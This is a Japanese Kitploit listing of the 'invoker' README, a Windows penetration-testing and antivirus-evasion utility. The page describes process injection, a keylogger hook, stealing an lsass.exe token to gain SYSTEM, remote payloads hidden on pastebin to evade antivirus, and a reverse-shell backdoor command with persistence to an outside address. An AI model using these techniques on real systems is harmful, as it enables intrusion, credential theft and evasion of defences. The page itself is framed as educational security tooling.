Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
invoker — ペネトレーションテスト用ユーティリティおよびアンチウイルス評価ツール。 | Kitploit
ツール/GitHubGitHub/ivan-sincek/invoker
特権昇格メモリフォレンジックエクスプロイトポストエクスプロイトペネトレーションテストバイナリ解析学習と教育レッドチーミングペイロード開発Archived
GitHubivan-sincek/invoker

invoker

ペネトレーションテスト用ユーティリティおよびアンチウイルス評価ツール。

31282223年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

Invoker

ペネトレーションテストユーティリティおよびアンチウイルス評価ツール。

Visual Studio Community 2022 v17.5.4(64ビット)でビルドし、Windows 10 Enterprise OS(64ビット)でテストしました。

教育目的で作成されました。お役に立てれば幸いです!

このリポジトリには既知のシグネチャが含まれ始めており、毎回新しい実行ファイルをアップロードする時間がないため、このプロジェクトを自分でコンパイルする必要があります。

便利なウェブサイト:

  • elastic.co
  • learn.microsoft.com
  • processhacker.sourceforge.io
  • undocumented.ntinternals.net
  • pinvoke.net

今後の課題:

  • プロセスゴースティングをx86アーキテクチャと互換性を持たせる。NtCreateProcessExが32ビットプロセスでうまく動作しないため。

将来の計画:

  • プロセスハロウイング、
  • プロセスドッペルギャンギング、
  • プロセスハーパーダーピング、
  • プロセスゴースティング、
  • さらに多くのDLLプロキシ呼び出し、
  • COMハイジャック、
  • ソースコード全体を静的に難読化するPython3スクリプト。

コーディング中に心がけていること:

  • すべてを簡素化する、
  • 動的割り当てを静的割り当ての代わりに使用する、(時々)
  • 最小限必要なアクセス権と制御フラグを使用する、
  • 可能性のあるエラー/例外を処理/キャッチする、
  • 使用後に配列やメモリをゼロで埋めて解放する、
  • 使用後に開いているハンドル/ストリームを適切に閉じる、
  • ライブラリ、オブジェクト、および同様のものの参照カウントをデクリメントする、
  • 終了前にガベージコレクタを呼び出す。(該当なし)

上記のすべてにより、PEのサイズが小さくなり、検出率が低下します。

目次

  • Invoker ライブラリ
  • 実行方法
  • バイトコードインジェクション
  • リバースシェルペイロードの生成
  • PowerShell
  • ダイレクトシステムコール
  • フックプロシージャを含むDLLの作成
  • LocalSystemアカウント(NT AUTHORITY\SYSTEM)の取得
  • 画像

Invoker ライブラリ

機能:

  • システムシェルの呼び出し、
  • ダイレクトシステムコールの作成、
  • Windows Management Instrumentation(WMI)の使用、
  • リモートホストへの接続、
  • 実行中のプロセスの終了、
  • 新しいプロセスの実行、
  • プロセスのメモリダンプ、
  • プロセスの実行可能イメージの改ざん、
  • プロセスへのバイトコードのインジェクション、
  • プロセスへのDLLのインジェクション、
  • プロセスの読み込まれたDLLの一覧表示、
  • DLLハイジャックの呼び出し、
  • フックプロシージャのインストール、
  • アクセストークン特権の有効化、
  • プロセスのアクセストークンを複製して新しいプロセスを実行、
  • ファイルのダウンロード、
  • レジストリキーの追加/編集、
  • タスクのスケジュール、
  • 引用符なしのサービスパスの一覧表示とサービスの開始、停止、再起動、
  • 複数のSystem32ファイルの置き換え。

Invoker ライブラリはこちらをご確認ください。ご自由にお使いください!


一部の機能は管理者権限が必要な場合があります。

一部の機能は、特定のアクセス権や制御フラグを使用するため、Windows XP以前では動作しない場合があります。

実行方法

Invoker_x86.exe(32ビット)またはInvoker_x64.exe(64ビット)を実行します。

永続性を追加しながらリバースシェルバックドアを自動化するには、次のコマンドを実行します:

Invoker_x64.exe 192.168.8.5:9000

32ビットのInvokerで可能な操作:

  • ダイレクトシステムコールの作成、
  • 32ビットプロセスのメモリダンプ、
  • 32ビットプロセスの実行可能イメージの改ざんおよび32ビットプロセスへのインジェクション、
  • 64ビットプロセスの実行可能イメージの改ざんおよび64ビットプロセスへのインジェクション、
  • 32ビットバイトコードの32ビットプロセスへのインジェクション、
  • 32ビットDLLの32ビットプロセスへのインジェクション、
  • 32ビットプロセスの読み込まれたDLLの一覧表示、
  • 32ビットDLLからのフックプロシージャのインストール。

64ビットのInvokerで可能な操作:

  • ダイレクトシステムコールの作成、
  • 32ビットプロセスのメモリダンプ、
  • 64ビットプロセスのメモリダンプ、
  • 32ビットプロセスの実行可能イメージの改ざんおよび32ビットプロセスへのインジェクション、
  • 64ビットプロセスの実行可能イメージの改ざんおよび64ビットプロセスへのインジェクション、
  • 32ビットバイトコードの32ビットプロセスへのインジェクション、
  • 64ビットバイトコードの64ビットプロセスへのインジェクション、
  • 32ビットDLLの32ビットプロセスへのインジェクション、
  • 64ビットDLLの64ビットプロセスへのインジェクション、
  • 32ビットプロセスの読み込まれたDLLの一覧表示、
  • 64ビットプロセスの読み込まれたDLLの一覧表示。
  • 32ビットDLLからのフックプロシージャのインストール、
  • 64ビットDLLからのフックプロシージャのインストール。

各インジェクション手法には長所と短所があることに注意してください。たとえば、ある手法は必要なアクセス権が少なく、より疑わしくない方法を使用するなどですが、プロセスがクラッシュしたり、ペイロードを実行するために時間や特別な条件が必要になる場合があります。

メモリ解放後に一部のC2Cインプラントが動作しない場合があることに注意してください。その場合は、VirtualFreeEx、NtFreeVirtualMemoryなどのメソッドをコメントアウトしてください。

バイトコードインジェクション

バイトコードをより高い特権のプロセスにインジェクションして特権を昇格させます。

このツールは、バイナリファイルの内容をメモリにダウンロードし、実行中のプロセスにインジェクションできます。また、HTTPレスポンスを解析し、カスタム要素からペイロードを抽出することもできます。たとえば、<invoker>payload</invoker>(payloadはBase64でエンコードされたバイナリコード)から抽出します。

例はpastebin.com/raw/xf9Trt0dをご確認ください。

これは、アンチウイルスがローカルペイロードを常に削除する場合に便利です。

追加の例はpastebin.com/raw/iW17rCxHをご確認ください。画像要素に隠されたペイロードです。

P.S. ここに示したバイトコードはおそらく機能しません。

ngrokを使用して、ローカルWebサーバーにパブリックアドレスを割り当ててください。


プロセスが32ビットか64ビットかを確認するには、タスクマネージャーを開き、「詳細」をクリックして「詳細」タブに移動し、任意の列を右クリックして「列の選択」をクリックし、「プラットフォーム」チェックボックスをオンにします。

プロセスが管理者権限で実行されているかどうかを確認するには、「昇格」チェックボックスをオンにします。

リバースシェルペイロードの生成

リバースシェルペイロードの生成方法と、Ncatおよびmulti/handlerリスナーの設定方法については、私の別のプロジェクトを参照してください。

バイトコードインジェクションは、バイトコードに不正な文字、間違った終了関数、またはエンコーディングの問題があると失敗する可能性があります。DLLインジェクションの方が信頼性が高いです。

PowerShell

InvokerからPowerShellリバースシェルまたはバインドシェルを実行する場合は、Invokerを開いてPowerShellセッションを開始し、私の別のプロジェクトにあるワンライナーのいずれかを実行してください。

ダイレクトシステムコール

ダイレクトシステムコールのライブラリとアセンブリはSysWhispers2で生成されました。作者に感謝します!

同じライブラリとアセンブリを生成するには、任意のコンソールで次のコマンドを実行します:

python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls

ライブラリとアセンブリのラッパーはこちらを確認してください。ご自由にお使いください!

フックプロシージャを含むDLLの作成

シンプルなフックプロシージャを含むDLLはこちらです。このフックプロシージャは、ウィンドウが閉じられるたびにメッセージボックスを呼び出します。

キーボードフックプロシージャ(キーロガー)はこちらです。

最初のマウスクリックで新しいプロセスを実行するマウスフックプロシージャはこちらです。

テストが終わったら、keylogger.logなど、作成したアーティファクトをすべて削除することを忘れないでください。

LocalSystemアカウント(NT AUTHORITY\SYSTEM)の取得

以下の簡単な手順に従ってください:

  1. Invokerを管理者として実行します。

  2. すべてのアクセストークン特権を有効にします。

  3. たとえば、Local Security Authority Subsystem Service(lsass.exe)からアクセストークンを複製し、Invokerの新しいインスタンスを実行します。

  4. 新しいInvokerインスタンス内でコマンドプロンプトを開き、whoamiを実行します。「nt authority\system」と表示されるはずです。

  5. もう一度、すべてのアクセストークン特権を有効にします。

  6. 古いInvokerインスタンスを閉じます。

画像

Invoker

図1 - Invoker

バイトコードインジェクション

図2 - バイトコードインジェクション

昇格された特権

図3 - 昇格された特権

ツールをダウンロード